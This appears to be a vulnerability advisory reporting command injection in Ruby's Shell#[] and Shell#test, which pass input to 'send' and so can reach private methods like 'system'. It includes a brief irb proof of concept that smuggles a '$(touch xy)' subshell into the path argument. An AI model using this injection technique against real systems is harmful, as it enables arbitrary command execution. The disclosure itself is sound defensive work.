Potential command injection in `Shell#[]` and `Shell#test`

How it was found

As Shell#test and Shell#[] use send when transferring to FileTest, private methods etc. can also be called. Therefore, command injection is possible when a crafted value is passed.

$ irb
irb(main):001:0> `ls xy`
ls: xy: No such file or directory
=> ""

irb(main):002:0> require 'shell'
=> true
irb(main):003:0> sh = Shell.new
=> #<Shell:0x00007fc0c20f2a78>
irb(main):004:0> sh['system', '$(touch xy)']
sh: /private/tmp/: is a directory
=> false

irb(main):005:0> `ls xy`
=> "xy\n"

Since send is executed after the file path is converted to absolute path, it is difficult with instance_eval and open etc, but you can execute it using a subshell.

Impact

It seems almost unlikely that user input is given for the purpose, so it probably will not be affected in most cases. It may be feasible under complex conditions such as combining object injection and other problems.